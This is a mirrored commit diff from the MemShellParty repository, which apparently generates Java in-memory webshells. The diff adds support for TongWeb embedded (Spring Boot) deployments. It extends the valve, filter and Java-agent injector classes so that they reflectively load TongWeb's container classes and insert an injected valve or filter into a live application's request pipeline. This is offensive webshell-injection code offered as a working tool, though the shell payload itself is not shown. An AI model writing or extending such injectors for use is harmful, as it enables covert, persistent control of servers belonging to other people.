mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-21 22:50:42 +08:00
feat: support tongweb 7 embedded shell
This commit is contained in:
+6
-2
@@ -45,6 +45,7 @@ public class ValveBuilderModifier implements Processor<DynamicType.Builder<?>> {
|
||||
public static final String TONGWEB6_VALVE_PACKAGE = "com.tongweb.web.thor";
|
||||
public static final String TONGWEB7_VALVE_PACKAGE = "com.tongweb.catalina";
|
||||
public static final String TONGWEB8_VALVE_PACKAGE = "com.tongweb.server";
|
||||
public static final String TONGWEB_EMBEDDED_VALVE_PACKAGE = "com.tongweb.container";
|
||||
|
||||
public static DynamicType.Builder<?> modifier(DynamicType.Builder<?> builder, AbstractServer shell, String serverVersion) {
|
||||
String packageName = null;
|
||||
@@ -53,7 +54,7 @@ public class ValveBuilderModifier implements Processor<DynamicType.Builder<?>> {
|
||||
}
|
||||
if (shell instanceof TongWeb) {
|
||||
if (serverVersion == null) {
|
||||
throw new GenerationException("serverVersion is needed for TongWeb Valve, please use one of ['6', '7', '8'] for shellConfig.serverVersion");
|
||||
throw new GenerationException("serverVersion is needed for TongWeb Valve, please use one of ['6', '7', '8', '7.E'] for shellConfig.serverVersion");
|
||||
}
|
||||
switch (serverVersion) {
|
||||
case "6":
|
||||
@@ -65,8 +66,11 @@ public class ValveBuilderModifier implements Processor<DynamicType.Builder<?>> {
|
||||
case "8":
|
||||
packageName = TONGWEB8_VALVE_PACKAGE;
|
||||
break;
|
||||
case "7.E":
|
||||
packageName = TONGWEB_EMBEDDED_VALVE_PACKAGE;
|
||||
break;
|
||||
default:
|
||||
throw new GenerationException("TongWeb Valve unknow serverVersion: [" + serverVersion + "], please use one of ['6', '7', '8'] for shellConfig.serverVersion");
|
||||
throw new GenerationException("TongWeb Valve unknow serverVersion: [" + serverVersion + "], please use one of ['6', '7', '8', '7.E'] for shellConfig.serverVersion");
|
||||
}
|
||||
}
|
||||
if (StringUtils.isNotBlank(packageName)) {
|
||||
|
||||
+2
-1
@@ -17,7 +17,8 @@ public class TongWebContextValveAgentInjector implements ClassFileTransformer {
|
||||
private static final String[] TARGET_CLASSES = new String[]{
|
||||
"com/tongweb/web/thor/core/StandardContextValve",
|
||||
"com/tongweb/catalina/core/StandardContextValve",
|
||||
"com/tongweb/server/core/StandardContextValve"
|
||||
"com/tongweb/server/core/StandardContextValve",
|
||||
"com/tongweb/container/core/StandardContextValve"
|
||||
};
|
||||
private static final String TARGET_METHOD_NAME = "invoke";
|
||||
|
||||
|
||||
+2
-1
@@ -17,7 +17,8 @@ public class TongWebFilterChainAgentInjector implements ClassFileTransformer {
|
||||
private static final String[] TARGET_CLASSES = new String[]{
|
||||
"com/tongweb/web/thor/core/ApplicationFilterChain",
|
||||
"com/tongweb/catalina/core/ApplicationFilterChain",
|
||||
"com/tongweb/server/core/ApplicationFilterChain"
|
||||
"com/tongweb/server/core/ApplicationFilterChain",
|
||||
"com/tongweb/container/core/ApplicationFilterChain"
|
||||
};
|
||||
private static final String TARGET_METHOD_NAME = "doFilter";
|
||||
|
||||
|
||||
+13
-5
@@ -167,11 +167,19 @@ public class TongWebFilterInjector {
|
||||
filterMapClass = contextClassLoader.loadClass("com.tongweb.web.thor.deploy.FilterMap");
|
||||
filterMap = filterMapClass.newInstance();
|
||||
} catch (Exception e) {
|
||||
// tongweb 8
|
||||
constructor = contextClassLoader.loadClass("com.tongweb.server.core.ApplicationFilterConfig").getDeclaredConstructors()[0];
|
||||
filterDef = contextClassLoader.loadClass("com.tongweb.web.util.descriptor.web.FilterDef").newInstance();
|
||||
filterMapClass = contextClassLoader.loadClass("com.tongweb.web.util.descriptor.web.FilterMap");
|
||||
filterMap = filterMapClass.newInstance();
|
||||
try {
|
||||
// tongweb 8
|
||||
constructor = contextClassLoader.loadClass("com.tongweb.server.core.ApplicationFilterConfig").getDeclaredConstructors()[0];
|
||||
filterDef = contextClassLoader.loadClass("com.tongweb.web.util.descriptor.web.FilterDef").newInstance();
|
||||
filterMapClass = contextClassLoader.loadClass("com.tongweb.web.util.descriptor.web.FilterMap");
|
||||
filterMap = filterMapClass.newInstance();
|
||||
} catch (Exception e1) {
|
||||
// tongweb embedded (spring boot)
|
||||
constructor = contextClassLoader.loadClass("com.tongweb.container.core.ApplicationFilterConfig").getDeclaredConstructors()[0];
|
||||
filterDef = contextClassLoader.loadClass("com.tongweb.web.util.descriptor.web.FilterDef").newInstance();
|
||||
filterMapClass = contextClassLoader.loadClass("com.tongweb.web.util.descriptor.web.FilterMap");
|
||||
filterMap = filterMapClass.newInstance();
|
||||
}
|
||||
}
|
||||
}
|
||||
invokeMethod(filterDef, "setFilterName", new Class[]{String.class}, new Object[]{filterClassName});
|
||||
|
||||
+7
-2
@@ -141,8 +141,13 @@ public class TongWebValveInjector {
|
||||
// tongweb6
|
||||
valveClass = contextClassLoader.loadClass("com.tongweb.web.thor.Valve");
|
||||
} catch (ClassNotFoundException e1) {
|
||||
// tongweb8
|
||||
valveClass = contextClassLoader.loadClass("com.tongweb.server.Valve");
|
||||
try {
|
||||
// tongweb8
|
||||
valveClass = contextClassLoader.loadClass("com.tongweb.server.Valve");
|
||||
} catch (ClassNotFoundException e2) {
|
||||
// tongweb embedded (spring boot)
|
||||
valveClass = contextClassLoader.loadClass("com.tongweb.container.Valve");
|
||||
}
|
||||
}
|
||||
}
|
||||
invokeMethod(pipeline, "addValve", new Class[]{valveClass}, new Object[]{valve});
|
||||
|
||||
@@ -19,8 +19,11 @@ public class TongWeb extends AbstractServer {
|
||||
public InjectorMapping getShellInjectorMapping() {
|
||||
return InjectorMapping.builder()
|
||||
.addInjector(LISTENER, TongWebListenerInjector.class)
|
||||
.addInjector(JAKARTA_LISTENER, TongWebListenerInjector.class)
|
||||
.addInjector(FILTER, TongWebFilterInjector.class)
|
||||
.addInjector(JAKARTA_FILTER, TongWebFilterInjector.class)
|
||||
.addInjector(VALVE, TongWebValveInjector.class)
|
||||
.addInjector(JAKARTA_VALVE, TongWebValveInjector.class)
|
||||
.addInjector(AGENT_FILTER_CHAIN, TongWebFilterChainAgentInjector.class)
|
||||
.addInjector(CATALINA_AGENT_CONTEXT_VALVE, TongWebContextValveAgentInjector.class)
|
||||
.build();
|
||||
|
||||
Reference in New Issue
Block a user